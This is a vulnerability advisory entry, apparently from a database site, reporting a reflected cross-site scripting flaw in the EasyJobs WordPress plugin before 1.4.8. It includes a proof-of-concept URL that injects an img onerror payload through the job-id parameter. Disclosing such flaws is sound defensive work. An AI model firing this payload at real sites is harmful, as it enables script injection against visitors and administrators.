logo
DATABASE RESOURCES PRICING ABOUT US

EasyJobs < 1.4.8 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the job-id parameter before outputting it back in a page, leading to a Reflected Cross-Site Scripting ### PoC https://example.com/wp-content/plugins/easyjobs/admin/partials/easyjobs-candidates-display.php?job-id=%22%3E%3Cimg/src/onerror=alert(/XSS/)%3E


Affected Software


CPE Name Name Version
easyjobs 1.4.8